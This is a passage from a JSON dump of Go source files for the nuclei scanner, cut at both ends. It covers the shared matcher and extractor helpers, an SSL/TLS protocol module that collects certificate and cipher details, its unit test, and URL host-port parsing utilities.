[]*output.ResultEvent\n\t// GetCompiledOperators returns a list of the compiled operators\n\tGetCompiledOperators() []*operators.Operators\n\t// Type returns the type of the protocol request\n\tType() templateTypes.ProtocolType\n}\n\n// OutputEventCallback is a callback event for any results found during scanning.\ntype OutputEventCallback func(result *output.InternalWrappedEvent)\n\nfunc MakeDefaultResultEvent(request Request, wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\t// Note: operator result is generated if something was successful match/extract/dynamic-extract\n\t// but results should not be generated if\n\t// 1. no match was found and some dynamic values were extracted\n\t// 2. if something was extracted (matchers exist but no match was found)\n\tif len(wrapped.OperatorsResult.DynamicValues) > 0 && !wrapped.OperatorsResult.Matched {\n\t\treturn nil\n\t}\n\t// check if something was extracted (except dynamic values)\n\textracted := len(wrapped.OperatorsResult.Extracts) > 0 || len(wrapped.OperatorsResult.OutputExtracts) > 0\n\tif extracted && len(wrapped.OperatorsResult.Operators.Matchers) > 0 && !wrapped.OperatorsResult.Matched {\n\t\t// if extracted and matchers exist but no match was found then don't generate result\n\t\treturn nil\n\t}\n\n\tresults := make([]*output.ResultEvent, 0, len(wrapped.OperatorsResult.Matches)+1)\n\n\t// If we have multiple matchers with names, write each of them separately.\n\tif len(wrapped.OperatorsResult.Matches) > 0 {\n\t\tfor matcherNames := range wrapped.OperatorsResult.Matches {\n\t\t\tdata := request.MakeResultEventItem(wrapped)\n\t\t\tdata.MatcherName = matcherNames\n\t\t\tresults = append(results, data)\n\t\t}\n\t} else if len(wrapped.OperatorsResult.Extracts) > 0 {\n\t\tfor k, v := range wrapped.OperatorsResult.Extracts {\n\t\t\tdata := request.MakeResultEventItem(wrapped)\n\t\t\tdata.ExtractorName = k\n\t\t\tdata.ExtractedResults = v\n\t\t\tresults = append(results, data)\n\t\t}\n\t} else {\n\t\tdata := request.MakeResultEventItem(wrapped)\n\t\tresults = append(results, data)\n\t}\n\treturn results\n}\n\n// MakeDefaultExtractFunc performs extracting operation for an extractor on model and returns true or false.\nfunc MakeDefaultExtractFunc(data map[string]interface{}, extractor *extractors.Extractor) map[string]struct{} {\n\tpart := extractor.Part\n\tif part == \"\" {\n\t\tpart = \"response\"\n\t}\n\n\titem, ok := data[part]\n\tif !ok && !extractors.SupportsMap(extractor) {\n\t\treturn nil\n\t}\n\titemStr := types.ToString(item)\n\n\tswitch extractor.GetType() {\n\tcase extractors.RegexExtractor:\n\t\treturn extractor.ExtractRegex(itemStr)\n\tcase extractors.KValExtractor:\n\t\treturn extractor.ExtractKval(data)\n\tcase extractors.JSONExtractor:\n\t\treturn extractor.ExtractJSON(itemStr)\n\tcase extractors.XPathExtractor:\n\t\treturn extractor.ExtractXPath(itemStr)\n\tcase extractors.DSLExtractor:\n\t\treturn extractor.ExtractDSL(data)\n\t}\n\treturn nil\n}\n\n// MakeDefaultMatchFunc performs matching operation for a matcher on model and returns true or false.\nfunc MakeDefaultMatchFunc(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\tpart := matcher.Part\n\tif part == \"\" {\n\t\tpart = \"response\"\n\t}\n\n\tpartItem, ok := data[part]\n\tif !ok && matcher.Type.MatcherType != matchers.DSLMatcher {\n\t\treturn false, nil\n\t}\n\titem := types.ToString(partItem)\n\n\tswitch matcher.GetType() {\n\tcase matchers.SizeMatcher:\n\t\tresult := matcher.Result(matcher.MatchSize(len(item)))\n\t\treturn result, nil\n\tcase matchers.WordsMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchWords(item, nil))\n\tcase matchers.RegexMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchRegex(item))\n\tcase matchers.BinaryMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchBinary(item))\n\tcase matchers.DSLMatcher:\n\t\treturn matcher.Result(matcher.MatchDSL(data)), nil\n\tcase matchers.XPathMatcher:\n\t\treturn matcher.Result(matcher.MatchXPath(item)), []string{}\n\t}\n\treturn false, nil\n}\n\nfunc (e *ExecutorOptions) EncodeTemplate() string {\n\tif !e.Options.OmitTemplate && len(e.RawTemplate) <= MaxTemplateFileSizeForEncoding {\n\t\treturn base64.StdEncoding.EncodeToString(e.RawTemplate)\n\t}\n\treturn \"\"\n}\n\n// ApplyNewEngineOptions updates an existing ExecutorOptions with options from a new engine. This\n// handles things like the ExecutionID that need to be updated.\nfunc (e *ExecutorOptions) ApplyNewEngineOptions(n *ExecutorOptions) {\n\t// TODO: cached code|headless templates have nil ExecuterOptions if -code or -headless are not enabled\n\tif e == nil || n == nil || n.Options == nil {\n\t\treturn\n\t}\n\n\te.Options = n.Options.Copy()\n\te.Output = n.Output\n\te.IssuesClient = n.IssuesClient\n\te.Progress = n.Progress\n\te.RateLimiter = n.RateLimiter\n\te.Catalog = n.Catalog\n\te.ProjectFile = n.ProjectFile\n\te.Browser = n.Browser\n\te.Interactsh = n.Interactsh\n\te.HostErrorsCache = n.HostErrorsCache\n\te.InputHelper = n.InputHelper\n\te.FuzzParamsFrequency = n.FuzzParamsFrequency\n\te.FuzzStatsDB = n.FuzzStatsDB\n\te.DoNotCache = n.DoNotCache\n\te.Colorizer = n.Colorizer\n\te.WorkflowLoader = n.WorkflowLoader\n\te.ResumeCfg = n.ResumeCfg\n\te.JsCompiler = n.JsCompiler\n\te.AuthProvider = n.AuthProvider\n\te.TemporaryDirectory = n.TemporaryDirectory\n\te.Parser = n.Parser\n\te.ExportReqURLPattern = n.ExportReqURLPattern\n\te.GlobalMatchers = n.GlobalMatchers\n\te.Logger = n.Logger\n\te.CustomFastdialer = n.CustomFastdialer\n\te.ClusterMappings = n.ClusterMappings.Copy()\n}\n"
  },
  {
    "path": "pkg/protocols/ssl/ssl.go",
    "content": "package ssl\n\nimport (\n\t\"fmt\"\n\t\"maps\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cespare/xxhash\"\n\t\"github.com/fatih/structs\"\n\tjsoniter \"github.com/json-iterator/go\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/tlsx/pkg/tlsx\"\n\t\"github.com/projectdiscovery/tlsx/pkg/tlsx/clients\"\n\t\"github.com/projectdiscovery/tlsx/pkg/tlsx/openssl\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\n// Request is a request for the SSL protocol\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline,omitempty\" json:\",inline,omitempty\"`\n\tCompiledOperators   *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the request,description=ID of the request\"`\n\n\t// description: |\n\t//   Address contains address for the request\n\tAddress string `yaml:\"address,omitempty\" json:\"address,omitempty\" jsonschema:\"title=address for the ssl request,description=Address contains address for the request\"`\n\t// description: |\n\t//   Minimum tls version - auto if not specified.\n\t// values:\n\t//   - \"sslv3\"\n\t//   - \"tls10\"\n\t//   - \"tls11\"\n\t//   - \"tls12\"\n\t//   - \"tls13\"\n\tMinVersion string `yaml:\"min_version,omitempty\" json:\"min_version,omitempty\" jsonschema:\"title=Min. TLS version,description=Minimum tls version - automatic if not specified.,enum=sslv3,enum=tls10,enum=tls11,enum=tls12,enum=tls13\"`\n\t// description: |\n\t//   Max tls version - auto if not specified.\n\t// values:\n\t//   - \"sslv3\"\n\t//   - \"tls10\"\n\t//   - \"tls11\"\n\t//   - \"tls12\"\n\t//   - \"tls13\"\n\tMaxVersion string `yaml:\"max_version,omitempty\" json:\"max_version,omitempty\" jsonschema:\"title=Max. TLS version,description=Max tls version - automatic if not specified.,enum=sslv3,enum=tls10,enum=tls11,enum=tls12,enum=tls13\"`\n\t// description: |\n\t//   Client Cipher Suites  - auto if not specified.\n\tCipherSuites []string `yaml:\"cipher_suites,omitempty\" json:\"cipher_suites,omitempty\"`\n\t// description: |\n\t//   Tls Scan Mode - auto if not specified\n\t// values:\n\t//   - \"ctls\"\n\t//   - \"ztls\"\n\t//   - \"auto\"\n\t//\t - \"openssl\" # reverts to \"auto\" is openssl is not installed\n\tScanMode string `yaml:\"scan_mode,omitempty\" json:\"scan_mode,omitempty\" jsonschema:\"title=Scan Mode,description=Scan Mode - auto if not specified.,enum=ctls,enum=ztls,enum=auto\"`\n\t// description: |\n\t//   TLS Versions Enum - false if not specified\n\t//   Enumerates supported TLS versions\n\tTLSVersionsEnum bool `yaml:\"tls_version_enum,omitempty\" json:\"tls_version_enum,omitempty\" jsonschema:\"title=Enumerate Versions,description=Enumerate Version - false if not specified\"`\n\t// description: |\n\t//   TLS Ciphers Enum - false if not specified\n\t//   Enumerates supported TLS ciphers\n\tTLSCiphersEnum bool `yaml:\"tls_cipher_enum,omitempty\" json:\"tls_cipher_enum,omitempty\" jsonschema:\"title=Enumerate Ciphers,description=Enumerate Ciphers - false if not specified\"`\n\t// description: |\n\t//  TLS Cipher types to enumerate\n\t// values:\n\t//   - \"insecure\" (default)\n\t//   - \"weak\"\n\t//   - \"secure\"\n\t//   - \"all\"\n\tTLSCipherTypes []string `yaml:\"tls_cipher_types,omitempty\" json:\"tls_cipher_types,omitempty\" jsonschema:\"title=TLS Cipher Types,description=TLS Cipher Types to enumerate,enum=weak,enum=secure,enum=insecure,enum=all\"`\n\n\t// cache any variables that may be needed for operation.\n\tdialer  *fastdialer.Dialer\n\ttlsx    *tlsx.Service\n\toptions *protocols.ExecutorOptions\n}\n\n// TmplClusterKey generates a unique key for the request\n// to be used in the clustering process.\nfunc (request *Request) TmplClusterKey() uint64 {\n\tinp := fmt.Sprintf(\"%s-%s-%t-%t-%s\", request.Address, request.ScanMode, request.TLSCiphersEnum, request.TLSVersionsEnum, strings.Join(request.TLSCipherTypes, \",\"))\n\treturn xxhash.Sum64String(inp)\n}\n\nfunc (request *Request) IsClusterable() bool {\n\t// nolint\n\treturn !(len(request.CipherSuites) > 0 || request.MinVersion != \"\" || request.MaxVersion != \"\")\n}\n\n// Compile compiles the request generators preparing any requests possible.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\trequest.options = options\n\n\tclient, err := networkclientpool.Get(options.Options, &networkclientpool.Configuration{\n\t\tCustomDialer: options.CustomFastdialer,\n\t})\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"could not get network client\")\n\t}\n\trequest.dialer = client\n\tswitch {\n\t//validate scanmode\n\tcase request.ScanMode == \"\":\n\t\trequest.ScanMode = \"auto\"\n\n\tcase !stringsutil.EqualFoldAny(request.ScanMode, \"auto\", \"openssl\", \"ztls\", \"ctls\"):\n\t\treturn errkit.Newf(\"template %v does not contain valid scan-mode\", request.TemplateID)\n\n\tcase request.ScanMode == \"openssl\" && !openssl.IsAvailable():\n\t\t// if openssl is not installed instead of failing \"auto\" scanmode is used\n\t\trequest.ScanMode = \"auto\"\n\t}\n\tif request.TLSCiphersEnum {\n\t\t// cipher enumeration requires tls version enumeration first\n\t\trequest.TLSVersionsEnum = true\n\t}\n\tif request.TLSCiphersEnum && len(request.TLSCipherTypes) == 0 {\n\t\t// by default only look for insecure ciphers\n\t\trequest.TLSCipherTypes = []string{\"insecure\"}\n\t}\n\n\ttlsxOptions := &clients.Options{\n\t\tAllCiphers:        true,\n\t\tScanMode:          request.ScanMode,\n\t\tExpired:           true,\n\t\tSelfSigned:        true,\n\t\tRevoked:           true,\n\t\tMisMatched:        true,\n\t\tMinVersion:        request.MinVersion,\n\t\tMaxVersion:        request.MaxVersion,\n\t\tCiphers:           request.CipherSuites,\n\t\tWildcardCertCheck: true,\n\t\tRetries:           request.options.Options.Retries,\n\t\tTimeout:           request.options.Options.Timeout,\n\t\tFastdialer:        client,\n\t\tClientHello:       true,\n\t\tServerHello:       true,\n\t\tDisplayDns:        true,\n\t\tTlsVersionsEnum:   request.TLSVersionsEnum,\n\t\tTlsCiphersEnum:    request.TLSCiphersEnum,\n\t\tTLsCipherLevel:    request.TLSCipherTypes,\n\t}\n\n\ttlsxService, err := tlsx.New(tlsxOptions)\n\tif err != nil {\n\t\treturn errkit.New(\"could not create tlsx service\")\n\t}\n\trequest.tlsx = tlsxService\n\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errkit.Newf(\"could not compile operators got %v\", err)\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\treturn nil\n}\n\n// Options returns executer options for http request\nfunc (r *Request) Options() *protocols.ExecutorOptions {\n\treturn r.options\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (request *Request) Requests() int {\n\treturn 1\n}\n\n// GetID returns the ID for the request if any.\nfunc (request *Request) GetID() string {\n\treturn \"\"\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\thostPort := input.MetaInput.Input\n\thostname, port, _ := net.SplitHostPort(hostPort)\n\n\trequestOptions := request.options\n\tpayloadValues := generators.BuildPayloadFromOptions(request.options.Options)\n\tmaps.Copy(payloadValues, dynamicValues)\n\n\tpayloadValues[\"Hostname\"] = hostPort\n\tpayloadValues[\"Host\"] = hostname\n\tpayloadValues[\"Port\"] = port\n\n\thostnameVariables := protocolutils.GenerateDNSVariables(hostname)\n\t// add template context variables to varMap\n\tvalues := generators.MergeMaps(payloadValues, hostnameVariables)\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\tvalues = generators.MergeMaps(values, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\n\tvariablesMap := request.options.Variables.Evaluate(values)\n\tpayloadValues = generators.MergeMaps(variablesMap, payloadValues, request.options.Constants)\n\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"SSL Protocol request variables: %s\\n\", vardump.DumpVariables(payloadValues))\n\t}\n\n\tfinalAddress, dataErr := expressions.EvaluateByte([]byte(request.Address), payloadValues)\n\tif dataErr != nil {\n\t\trequestOptions.Output.Request(requestOptions.TemplateID, input.MetaInput.Input, request.Type().String(), dataErr)\n\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(dataErr, \"could not evaluate template expressions\")\n\t}\n\taddressToDial := string(finalAddress)\n\thost, port, err := net.SplitHostPort(addressToDial)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"could not split input host port\")\n\t}\n\n\tvar hostIp string\n\tif input.MetaInput.CustomIP != \"\" {\n\t\thostIp = input.MetaInput.CustomIP\n\t} else {\n\t\thostIp = host\n\t}\n\n\tresponse, err := request.tlsx.Connect(host, hostIp, port)\n\tif err != nil {\n\t\trequestOptions.Output.Request(requestOptions.TemplateID, input.MetaInput.Input, request.Type().String(), err)\n\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errkit.Wrap(err, \"could not connect to server\")\n\t}\n\n\trequestOptions.Output.Request(requestOptions.TemplateID, hostPort, request.Type().String(), err)\n\tgologger.Verbose().Msgf(\"[%s] Sent SSL request to %s\", request.options.TemplateID, hostPort)\n\n\tif requestOptions.Options.Debug || requestOptions.Options.DebugRequests || requestOptions.Options.StoreResponse {\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped SSL request for %s\", requestOptions.TemplateID, input.MetaInput.Input)\n\t\tif requestOptions.Options.Debug || requestOptions.Options.DebugRequests {\n\t\t\tgologger.Debug().Str(\"address\", input.MetaInput.Input).Msg(msg)\n\t\t}\n\t\tif requestOptions.Options.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(input.MetaInput.Input, request.options.TemplateID, request.Type().String(), msg)\n\t\t}\n\t}\n\n\tjsonData, _ := jsoniter.Marshal(response)\n\tjsonDataString := string(jsonData)\n\n\tdata := make(map[string]interface{})\n\tmaps.Copy(data, payloadValues)\n\tdata[\"type\"] = request.Type().String()\n\tdata[\"response\"] = jsonDataString\n\tdata[\"host\"] = input.MetaInput.Input\n\tdata[\"matched\"] = addressToDial\n\tif input.MetaInput.CustomIP != \"\" {\n\t\tdata[\"ip\"] = hostIp\n\t} else {\n\t\tdata[\"ip\"] = request.dialer.GetDialedIP(hostname)\n\t}\n\tdata[\"Port\"] = port\n\tdata[\"template-path\"] = requestOptions.TemplatePath\n\tdata[\"template-id\"] = requestOptions.TemplateID\n\tdata[\"template-info\"] = requestOptions.TemplateInfo\n\n\t// if response is not struct compatible, error out\n\tif !structs.IsStruct(response) {\n\t\treturn errkit.Newf(\"response cannot be parsed into a struct: %v\", response)\n\t}\n\n\t// Convert response to key value pairs and first cert chain item as well\n\tresponseParsed := structs.New(response)\n\tfor _, f := range responseParsed.Fields() {\n\t\tif !f.IsExported() {\n\t\t\t// if field is not exported f.IsZero() , f.Value() will panic\n\t\t\tcontinue\n\t\t}\n\t\ttag := protocolutils.CleanStructFieldJSONTag(f.Tag(\"json\"))\n\t\tif tag == \"\" || f.IsZero() {\n\t\t\tcontinue\n\t\t}\n\t\trequest.options.AddTemplateVar(input.MetaInput, request.Type(), request.ID, tag, f.Value())\n\t\tdata[tag] = f.Value()\n\t}\n\n\t// if certificate response is not struct compatible, error out\n\tif !structs.IsStruct(response.CertificateResponse) {\n\t\treturn errkit.Newf(\"certificate response cannot be parsed into a struct: %v\", response.CertificateResponse)\n\t}\n\n\tresponseParsed = structs.New(response.CertificateResponse)\n\tfor _, f := range responseParsed.Fields() {\n\t\tif !f.IsExported() {\n\t\t\t// if field is not exported f.IsZero() , f.Value() will panic\n\t\t\tcontinue\n\t\t}\n\t\ttag := protocolutils.CleanStructFieldJSONTag(f.Tag(\"json\"))\n\t\tif tag == \"\" || f.IsZero() {\n\t\t\tcontinue\n\t\t}\n\t\trequest.options.AddTemplateVar(input.MetaInput, request.Type(), request.ID, tag, f.Value())\n\t\tdata[tag] = f.Value()\n\t}\n\n\t// add response fields ^ to template context and merge templatectx variables to output event\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\tdata = generators.MergeMaps(data, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\tevent := eventcreator.CreateEvent(request, data, requestOptions.Options.Debug || requestOptions.Options.DebugResponse)\n\tif requestOptions.Options.Debug || requestOptions.Options.DebugResponse || requestOptions.Options.StoreResponse {\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped SSL response for %s\", requestOptions.TemplateID, input.MetaInput.Input)\n\t\tif requestOptions.Options.Debug || requestOptions.Options.DebugResponse {\n\t\t\tgologger.Debug().Msg(msg)\n\t\t\tgologger.Print().Msgf(\"%s\", responsehighlighter.Highlight(event.OperatorsResult, jsonDataString, requestOptions.Options.NoColor, false))\n\t\t}\n\t\tif requestOptions.Options.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(input.MetaInput.Input, request.options.TemplateID, request.Type().String(), fmt.Sprintf(\"%s\\n%s\", msg, jsonDataString))\n\t\t}\n\t}\n\tcallback(event)\n\treturn nil\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"template-id\":      \"ID of the template executed\",\n\t\"template-info\":    \"Info Block of the template executed\",\n\t\"template-path\":    \"Path of the template executed\",\n\t\"host\":             \"Host is the input to the template\",\n\t\"port\":             \"Port is the port of the host\",\n\t\"matched\":          \"Matched is the input which was matched upon\",\n\t\"type\":             \"Type is the type of request made\",\n\t\"timestamp\":        \"Timestamp is the time when the request was made\",\n\t\"response\":         \"JSON SSL protocol handshake details\",\n\t\"cipher\":           \"Cipher is the encryption algorithm used\",\n\t\"domains\":          \"Domains are the list of domain names in the certificate\",\n\t\"fingerprint_hash\": \"Fingerprint hash is the unique identifier of the certificate\",\n\t\"ip\":               \"IP is the IP address of the server\",\n\t\"issuer_cn\":        \"Issuer CN is the common name of the certificate issuer\",\n\t\"issuer_dn\":        \"Issuer DN is the distinguished name of the certificate issuer\",\n\t\"issuer_org\":       \"Issuer organization is the organization of the certificate issuer\",\n\t\"not_after\":        \"Timestamp after which the remote cert expires\",\n\t\"not_before\":       \"Timestamp before which the certificate is not valid\",\n\t\"probe_status\":     \"Probe status indicates if the probe was successful\",\n\t\"serial\":           \"Serial is the serial number of the certificate\",\n\t\"sni\":              \"SNI is the server name indication used in the handshake\",\n\t\"subject_an\":       \"Subject AN is the list of subject alternative names\",\n\t\"subject_cn\":       \"Subject CN is the common name of the certificate subject\",\n\t\"subject_dn\":       \"Subject DN is the distinguished name of the certificate subject\",\n\t\"subject_org\":      \"Subject organization is the organization of the certificate subject\",\n\t\"tls_connection\":   \"TLS connection is the type of TLS connection used\",\n\t\"tls_version\":      \"TLS version is the version of the TLS protocol used\",\n}\n\n// Match performs matching operation for a matcher on model and returns:\n// true and a list of matched snippets if the matcher type is supports it\n// otherwise false and an empty string slice\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\treturn protocols.MakeDefaultMatchFunc(data, matcher)\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{} {\n\treturn protocols.MakeDefaultExtractFunc(data, matcher)\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\n// GetCompiledOperators returns a list of the compiled operators\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.SSLProtocol\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tfields := protocolutils.GetJsonFieldsFromURL(types.ToString(wrapped.InternalEvent[\"host\"]))\n\tif types.ToString(wrapped.InternalEvent[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(wrapped.InternalEvent[\"ip\"])\n\t}\n\t// in case scheme is not specified , we only connect to port 443 unless custom https port was specified\n\t// like 8443 etc\n\tif fields.Port == \"80\" {\n\t\tfields.Port = \"443\"\n\t}\n\tif types.ToString(wrapped.InternalEvent[\"Port\"]) != \"\" {\n\t\tfields.Port = types.ToString(wrapped.InternalEvent[\"Port\"])\n\t}\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(wrapped.InternalEvent[\"template-id\"]),\n\t\tTemplatePath:     types.ToString(wrapped.InternalEvent[\"template-path\"]),\n\t\tInfo:             wrapped.InternalEvent[\"template-info\"].(model.Info),\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tHost:             fields.Host,\n\t\tPort:             fields.Port,\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tMetadata:         wrapped.OperatorsResult.PayloadValues,\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tTimestamp:        time.Now(),\n\t\tMatcherStatus:    true,\n\t\tIP:               fields.Ip,\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n"
  },
  {
    "path": "pkg/protocols/ssl/ssl_test.go",
    "content": "package ssl\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestSSLProtocol(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-ssl\"\n\trequest := &Request{\n\t\tAddress: \"{{Hostname}}\",\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile ssl request\")\n\n\tvar gotEvent output.InternalEvent\n\tctxArgs := contextargs.NewWithInput(context.Background(), \"scanme.sh:443\")\n\terr = request.ExecuteWithResults(ctxArgs, nil, nil, func(event *output.InternalWrappedEvent) {\n\t\tgotEvent = event.InternalEvent\n\t})\n\trequire.Nil(t, err, \"could not run ssl request\")\n\trequire.NotEmpty(t, gotEvent, \"could not get event items\")\n}\n"
  },
  {
    "path": "pkg/protocols/utils/fields.go",
    "content": "package utils\n\nimport (\n\t\"net\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\tiputil \"github.com/projectdiscovery/utils/ip\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// JsonFields contains additional metadata fields for JSON output\ntype JsonFields struct {\n\tHost   string `json:\"host,omitempty\"`\n\tPath   string `json:\"path,omitempty\"`\n\tPort   string `json:\"port,omitempty\"`\n\tIp     string `json:\"ip,omitempty\"`\n\tScheme string `json:\"scheme,omitempty\"`\n\tURL    string `json:\"url,omitempty\"`\n}\n\n// GetJsonFields returns the json fields for the request\nfunc GetJsonFieldsFromURL(URL string) JsonFields {\n\tparsed, err := urlutil.Parse(URL)\n\tif err != nil {\n\t\treturn JsonFields{}\n\t}\n\tfields := JsonFields{\n\t\tPort:   parsed.Port(),\n\t\tScheme: parsed.Scheme,\n\t\tURL:    parsed.String(),\n\t\tPath:   parsed.Path,\n\t}\n\n\thost := parsed.Host\n\thost, fields.Port = extractHostPort(host, fields.Port)\n\n\tif fields.Port == \"\" {\n\t\tfields.Port = \"80\"\n\t\tif fields.Scheme == \"https\" {\n\t\t\tfields.Port = \"443\"\n\t\t}\n\t}\n\tif iputil.IsIP(host) {\n\t\tfields.Ip = host\n\t}\n\n\tfields.Host = host\n\treturn fields\n}\n\n// GetJsonFieldsFromMetaInput returns the json fields for the request\nfunc GetJsonFieldsFromMetaInput(ctx *contextargs.MetaInput) JsonFields {\n\tinput := ctx.Input\n\tfields := JsonFields{\n\t\tIp: ctx.CustomIP,\n\t}\n\tparsed, err := urlutil.Parse(input)\n\tif err != nil {\n\t\treturn fields\n\t}\n\tfields.Port = parsed.Port()\n\tfields.Scheme = parsed.Scheme\n\tfields.URL = parsed.String()\n\tfields.Path = parsed.Path\n\n\thost := parsed.Host\n\thost, fields.Port = extractHostPort(host, fields.Port)\n\n\tif fields.Port == \"\" {\n\t\tfields.Port = \"80\"\n\t\tif fields.Scheme == \"https\" {\n\t\t\tfields.Port = \"443\"\n\t\t}\n\t}\n\tif iputil.IsIP(host) {\n\t\tfields.Ip = host\n\t}\n\n\tfields.Host = host\n\treturn fields\n}\n\nfunc extractHostPort(host, port string) (string, string) {\n\tif !strings.Contains(host, \":\") {\n\t\treturn host, port\n\t}\n\tif strings.HasPrefix(host, \"[\") {\n\t\tif idx := strings.Index(host, \"]:\"); idx != -1 {\n\t\t\tif port == \"\" {\n\t\t\t\tport = host[idx+2:]\n\t\t\t}\n\t\t\treturn host[1:idx], port\n\t\t}\n\t\tif strings.HasSuffix(host, \"]\") {\n\t\t\treturn host[1 : len(host)-1], port\n\t\t}\n\t\treturn host, port\n\t}\n\tif h, p, err := net.SplitHostPort(host); err == nil {\n\t\tif port == \"\" {\n\t\t\tport = p\n\t\t}\n\t\treturn h, port\n\t}\n\treturn host, port\n}\n"
  },
  {
    "path": "pkg/protocols/utils/fields_test.go",
